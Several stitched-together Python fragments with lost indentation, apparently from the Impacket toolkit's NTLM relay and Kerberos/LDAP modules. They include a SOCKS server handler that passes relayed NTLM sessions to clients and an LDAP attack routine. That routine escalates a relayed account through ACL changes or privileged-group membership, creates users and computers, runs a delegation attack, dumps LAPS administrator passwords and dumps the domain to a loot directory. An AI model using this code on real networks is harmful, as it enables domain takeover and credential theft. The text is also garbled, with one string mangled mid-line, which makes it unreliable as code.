SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) sessionSetupData = SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(smbCommand['Data']) if unpack('B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Now we should've received a type 3 message authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) try: username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() except UnicodeDecodeError: # Not Unicode encoded? username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() # Check if we have a connection for the user if self.activeRelays.has_key(username): LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) errorCode = STATUS_SUCCESS smbClient = self.activeRelays[username]['protocolClient'].session uid = smbClient.getSMBServer().get_uid() else: LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) errorCode = STATUS_ACCESS_DENIED uid = 0 smbClient = None resp = NewSMBPacket() resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY resp['Flags2'] = recvPacket['Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY resp['Command'] = recvPacket['Command'] resp['Pid'] = recvPacket['Pid'] resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Uid'] = uid resp['ErrorCode'] = errorCode >> 16 resp['ErrorClass'] = errorCode & 0xff respData['NativeOS'] = '' respData['NativeLanMan'] = '' if uid == 0: resp['Data'] = '\x00\x00\x00' smbClient = None else: respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp.addCommand(respSMBCommand) self.__NBSession.send_packet(resp.getData()) return smbClient, username else: LOG.error('SOCKS: Can\'t handle standard security at the moment!') return None else: respSMBCommand = SMB2SessionSetup_Response() sessionSetupData = SMB2SessionSetup(recvPacket['Data']) securityBlob = sessionSetupData['Buffer'] rawNTLM = False if unpack('B', securityBlob[0])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']: # Nope, do we know it? if MechTypes.has_key(mechType): mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) LOG.debug("Unsupported MechType '%s', we just want NTLMSSP, answering" % mechStr) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = STATUS_SUCCESS resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = 0 resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() return self.processSessionSetup(recvPacket) elif unpack('B', securityBlob[0])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # NEGOTIATE_MESSAGE # First of all, we should received a type 1 message. Let's answer it challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = 0 resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() sessionSetupData = SMB2SessionSetup(recvPacket['Data']) securityBlob = sessionSetupData['Buffer'] blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) try: username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() except UnicodeDecodeError: # Not Unicode encoded? username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() respToken = SPNEGO_NegTokenResp() # Check if we have a connection for the user if self.activeRelays.has_key(username): LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) errorCode = STATUS_SUCCESS smbClient = self.activeRelays[username]['protocolClient'].session uid = smbClient.getSMBServer()._Session['SessionID'] else: LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) errorCode = STATUS_ACCESS_DENIED uid = 0 smbClient = None # accept-completed respToken['NegResult'] = '\x00' resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = errorCode resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = uid resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] respSMBCommand['SecurityBufferOffset'] = 0x48 # This is important for SAMBA client to work. If it is not set as a guest session, # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced). respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) return smbClient, username
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) if self.config.interactive: if self.tcp_shell is not None: LOG.info( 'Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) # Start listening and launch interactive shell. self.tcp_shell.listen() ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) ldap_shell.cmdloop() return # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info( 'Enumerating relayed user\'s privileges. This may take a while on large domains' ) userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info( 'User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info( 'Assuming relayed user has privileges to escalate a user via ACL attack' ) privs = dict() privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') else: userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user.') # Perform the ACL attack else: self.aclAttack(userDn, domainDumper) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') # Perform the Group attack else: userDn, userSid = result self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') # Perform the Group attack else: self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Dump LAPS Passwords if self.config.dumplaps: LOG.info("Attempting to dump LAPS passwords") success = self.client.search( domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName', 'ms-MCS-AdmPwd']) if success: fd = None filename = "laps-dump-" + self.username + "-" + str( random.randint(0, 99999)) count = 0 for entry in self.client.response: try: dn = "DN:" + entry['attributes']['distinguishedname'] passwd = "Password:"******"a+") count += 1 LOG.debug(dn) LOG.debug(passwd) fd.write(dn) fd.write("\n") fd.write(passwd) fd.write("\n") except: continue if fd is None: LOG.info( "The relayed user %s does not have permissions to read any LAPS passwords" % self.username) else: LOG.info( "Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username)) fd.close() # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) return # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) return # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket import datetime if TGT is not None or TGS is not None: useCache = False if useCache: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'] LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug('No valid credentials found in cache') else: TGS = creds.toTGS(principal) LOG.debug('Using TGS from cache') # retrieve user information from CCache file if needed if user == '' and creds is not None: user = creds['client'].prettyPrint().split('@')[0] LOG.debug('Username retrieved from CCache: %s' % user) elif user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] LOG.debug('Username retrieved from CCache: %s' % user) # First of all, we need to get a TGT for the user userName = Principal( user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal( 'ldap/%s' % self._dstHost, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = 3 bindRequest['name'] = user bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO' bindRequest['authentication']['sasl']['credentials'] = blob.getData() response = self.sendReceive(bindRequest)[0]['protocolOp'] if response['bindResponse']['resultCode'] != ResultCode('success'): raise LDAPSessionError( errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(), response['bindResponse']['diagnosticMessage'])) return True
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT=None, TGS=None, targetName='', kdcHost=None, useCache=True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception, e: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'] LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) # retrieve user information from CCache file if needed if username == '' and creds is not None: username = creds['client'].prettyPrint().split('@')[0] LOG.debug('Username retrieved from CCache: %s' % username) elif username == '' and len(ccache.principal.components) > 0: username = ccache.principal.components[0]['data'] LOG.debug('Username retrieved from CCache: %s' % username)